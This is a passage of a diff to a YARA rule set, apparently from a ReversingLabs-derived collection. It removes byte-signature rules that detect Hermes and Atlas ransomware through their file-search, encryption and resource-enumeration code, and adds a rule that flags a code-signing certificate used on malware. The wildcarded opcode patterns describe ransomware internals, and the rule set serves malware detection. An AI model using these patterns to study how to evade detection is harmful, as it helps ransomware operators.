?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 - 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 - 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D - 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 0F - } - $hermes_find_files_v1_p3 = { - 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 - 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F - 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F - 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D - } - $hermes_find_files_v1_p4 = { - 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 - ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? F6 85 - ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 F8 ?? 7E ?? 53 FF 75 - ?? FF 75 ?? E8 - } - $hermes_encrypt_files_v1_p1 = { - 55 8B EC 83 EC ?? 53 56 57 FF 75 ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 3B C3 74 ?? 53 - FF 75 ?? FF 15 ?? ?? ?? ?? 33 F6 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? - ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 50 FF 15 ?? ?? ?? ?? 89 45 ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 56 89 45 ?? 8D 45 ?? 50 56 56 - 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? BF ?? ?? ?? ?? 57 FF 75 ?? 56 - FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? 56 8D 4D ?? 51 FF 75 ?? 89 75 ?? 50 FF 75 ?? - FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 4D ?? 8D 44 08 ?? 80 38 ?? 75 ?? 80 78 ?? - ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? FF - 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B - } - $hermes_encrypt_files_v1_p2 = { - C9 C3 FF 75 ?? 8D 45 ?? 50 51 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 - 56 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? - ?? 6A ?? 57 FF 75 ?? 88 45 ?? 56 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 3B FE 74 ?? FF 75 - ?? 0F BE 45 ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? 57 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 56 FF 75 ?? FF 15 - ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF - 15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? FF 75 - ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? - 53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 56 FF - 75 ?? FF 15 ?? ?? ?? ?? 33 C0 40 E9 - } - $hermes_enum_resources_v1 = { - 55 8B EC 83 EC ?? 53 56 57 8D 45 ?? 50 FF 75 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A - ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF - 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B - 43 ?? 66 83 38 ?? 8D 48 ?? 75 ?? 66 83 78 ?? ?? 75 ?? 6A ?? 51 E8 ?? ?? ?? ?? 59 59 - 85 C0 74 ?? 8B 43 ?? 8B D0 66 8B 08 40 40 66 85 C9 75 ?? 8B 7D ?? 2B C2 4F 4F 66 8B - 4F ?? 47 47 66 85 C9 75 ?? 8B C8 C1 E9 ?? 8B F2 F3 A5 8B C8 83 E1 ?? F3 A4 8B 7D ?? - 4F 4F 66 8B 47 ?? 47 47 66 85 C0 75 ?? BE ?? ?? ?? ?? A5 8B 43 ?? 83 E0 ?? 3C ?? 0F - 85 ?? ?? ?? ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 33 C0 5F 5E - 5B C9 C3 33 C0 40 EB - } - $hermes_encrypt_files_v2_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 C0 8D BD ?? ?? ?? ?? AB 33 DB 89 5D ?? AB AB - AB 8B 7D ?? 57 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 53 56 6A ?? - 53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 53 FF 15 ?? ?? ?? ?? 33 - C0 E9 ?? ?? ?? ?? 33 DB 33 C0 89 5D ?? 0F 57 C0 89 45 ?? 66 0F 13 45 ?? 83 FE ?? 74 - ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 45 - ?? 83 FB ?? 75 ?? 85 C0 75 ?? 33 FF 47 E9 ?? ?? ?? ?? 83 65 ?? ?? 83 7D ?? ?? 77 ?? - 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? - 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 4D ?? - 89 45 ?? 83 F9 ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 51 FF 75 ?? E8 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 3D ?? ?? ?? ?? 76 ?? - C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ?? 8B C1 81 C2 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 77 ?? - 72 ?? 81 FA ?? ?? ?? ?? 77 ?? 6A ?? 6A ?? 51 FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 - 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 83 F9 - } - $hermes_encrypt_files_v2_p2 = { - 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 8B 45 ?? EB ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 87 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? - 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? B8 ?? ?? ?? ?? 77 ?? 39 - 45 ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 2B D8 53 56 89 5D ?? FF 15 ?? ?? ?? ?? - 83 F8 ?? 75 ?? 6A ?? 58 E9 ?? ?? ?? ?? 33 DB 8D 45 ?? 53 50 6A ?? 8D 85 ?? ?? ?? ?? - 89 5D ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? EB ?? 8B C3 80 BC 05 ?? ?? ?? ?? - ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? - ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 74 ?? 40 83 F8 - ?? 72 ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? - ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 58 6A ?? 66 89 45 ?? 58 66 89 45 ?? 6A ?? 58 66 89 45 - ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 57 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 57 56 89 1E E8 ?? ?? ?? - ?? 57 56 E8 ?? ?? ?? ?? 8D 45 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 56 57 FF 15 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 33 DB 8D 45 - } - $hermes_encrypt_files_v2_p3 = { - 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? E9 ?? ?? ?? ?? - 39 5D ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 - ?? ?? ?? ?? 89 5D ?? 5B 6A ?? 89 4D ?? 33 DB 89 45 ?? 89 55 ?? 5F EB ?? 8B 45 ?? 89 - 45 ?? 53 69 C0 ?? ?? ?? ?? 53 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? E9 ?? ?? - ?? ?? 53 8D 45 ?? 89 5D ?? 50 6A ?? 5F 57 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 85 C0 75 ?? 6A ?? E9 ?? ?? ?? ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? - E9 ?? ?? ?? ?? 89 5D ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B - D8 85 DB 75 ?? 6A ?? E9 ?? ?? ?? ?? 8B 55 ?? 33 C9 33 C0 C7 45 ?? ?? ?? ?? ?? 89 4D - ?? 89 45 ?? 83 65 ?? ?? C7 45 ?? ?? ?? ?? ?? 3B CA 75 ?? 8B 4D ?? 89 4D ?? C7 45 ?? - ?? ?? ?? ?? 33 C9 51 51 50 56 89 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? - 6A ?? 8D 45 ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 C7 - } - $hermes_encrypt_files_v2_p4 = { - 45 ?? ?? ?? ?? ?? 51 8D 45 ?? 50 51 51 FF 75 ?? 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 53 6A ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F - 84 ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 41 8B 55 ?? 05 ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B - CA 0F 86 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 7D ?? 66 C7 45 ?? ?? ?? AB AB AB - AB 66 AB 33 C0 88 45 ?? 39 45 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 8D 45 ?? 50 8D 45 - ?? 50 E8 ?? ?? ?? ?? 59 59 EB ?? 6A ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 33 C0 8D 7D ?? - AB 6A ?? AB 66 AB 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 FF 8D 45 ?? 57 50 8D - 45 ?? 89 7D ?? 50 E8 ?? ?? ?? ?? 59 50 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? - 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 57 57 6A - } - $hermes_encrypt_files_v2_p5 = { - FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? - ?? 6A ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 57 6A ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 - C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 57 8D 45 ?? 89 - 7D ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? - ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 39 7D ?? 77 ?? 81 7D ?? ?? ?? ?? ?? - 76 ?? 6A ?? 57 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 - ?? 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? EB ?? 57 8D 45 ?? 89 7D ?? 50 - 6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF - 15 ?? ?? ?? ?? 6A ?? EB ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? - 83 C4 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? 5B EB ?? 68 ?? ?? ?? ?? 6A ?? - 53 FF 15 ?? ?? ?? ?? 6A ?? 5B 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B C3 - EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ?? - ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? - ?? ?? 6A ?? 5F EB ?? 6A ?? 5F 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? EB ?? 6A ?? E9 ?? ?? ?? ?? 6A ?? 5F 56 FF 15 ?? - ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $hermes_find_files_v2_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 85 ?? ?? ?? ?? 56 57 50 68 ?? ?? ?? ?? 53 - E8 ?? ?? ?? ?? 59 59 50 FF 15 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 53 89 7D ?? E8 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 53 8B F0 E8 ?? ?? ?? ?? 2B C6 33 C9 83 C4 ?? 66 89 0C 43 83 - FF ?? 0F 84 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83 F8 ?? 75 ?? - 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83 - F8 ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D - 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 58 6A ?? 5F 6A - ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 59 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? - 66 89 45 ?? 33 C0 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 - } - $hermes_find_files_v2_p2 = { - 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 45 ?? 58 6A ?? 66 89 45 - ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 55 ?? - 66 89 55 ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 66 89 85 ?? ?? ?? ?? 58 6A ?? 66 89 4D ?? - 66 89 4D ?? 66 89 8D ?? ?? ?? ?? 59 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? - ?? 33 C0 66 89 7D ?? 66 89 BD ?? ?? ?? ?? 8D 7D ?? 89 75 ?? 66 89 75 ?? 66 89 55 ?? - 89 75 ?? 66 89 75 ?? 66 89 8D ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? - AB 6A ?? 66 89 4D ?? 66 89 55 ?? AB 66 89 55 ?? 89 75 ?? AB 66 AB 58 6A ?? 66 89 45 - ?? 58 6A ?? 5F 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? - 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 59 66 89 45 ?? 33 C0 66 89 45 ?? 6A ?? 58 - 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A - ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 33 C0 66 89 7D ?? 66 89 7D - ?? 8D BD ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 8D - } - $hermes_find_files_v2_p3 = { - AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D - 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 - C0 0F 84 ?? ?? ?? ?? 8B 7D ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 - ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 - 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 - } - $hermes_find_files_v2_p4 = { - 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85 - ?? ?? ?? ?? 50 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 - ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? EB ?? 8B 7D ?? F6 85 ?? ?? ?? - ?? ?? 74 ?? 53 E8 ?? ?? ?? ?? 59 FF 75 ?? 8D 85 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 50 53 - E8 ?? ?? ?? ?? 59 59 50 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B F0 8D - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 2B F0 83 C4 ?? 33 C0 66 89 44 73 ?? 33 F6 8D 85 ?? - ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E - 5B 8B E5 5D C3 - } - $hermes_enum_resources_v2 = { - 55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 33 DB C7 45 ?? - ?? ?? ?? ?? 53 53 6A ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? - 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 7E ?? 6A ?? 58 66 - 39 07 75 ?? 66 39 47 ?? 75 ?? 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 57 FF - 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ?? - ?? ?? 74 ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 33 C0 5F 5E 5B 8B E5 5D C3 - 33 C0 40 EB - } - condition: - uint16( 0 ) == 0x5A4D and ( ( ( all of ( $hermes_find_files_v1_p* ) ) and ( all of ( $hermes_encrypt_files_v1_p* ) ) ) or ( ( all of ( $hermes_find_files_v2_p* ) ) and ( all of ( $hermes_encrypt_files_v2_p* ) ) ) ) and ( any of ( $hermes_enum_resources_v* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOV Virikton" and ( pe.signatures [ i ] . serial == "00:82:23:c7:41:85:ad:d0:92:72:46:f5:e3:3e:ba:c4:67" or pe.signatures [ i ] . serial == "82:23:c7:41:85:ad:d0:92:72:46:f5:e3:3e:ba:c4:67" ) and 1463616000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Atlas : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Dd9E9E1D7C573714E3F567C5380Ae6D0 : INFO FILE { meta: - description = "Yara rule that detects Atlas ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2c702b24-4b7e-505c-a694-0d915cc47315" - date = "2020-06-26" - modified = "2020-07-15" + id = "72745795-0261-5b7b-b25e-8220bced90ec" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Atlas.yara#L1-L99" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12724-L12742" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1486f931ec096a00d913de0568ddd8aa5a091256445bc28aba90e3e194ebd045" + logic_hash = "7bbcdb989d53bafbb2bdb694be72d4f7305323c01e8f1eafcb7cd889df165ff6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Atlas" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 8B 74 24 ?? 8B 3D ?? 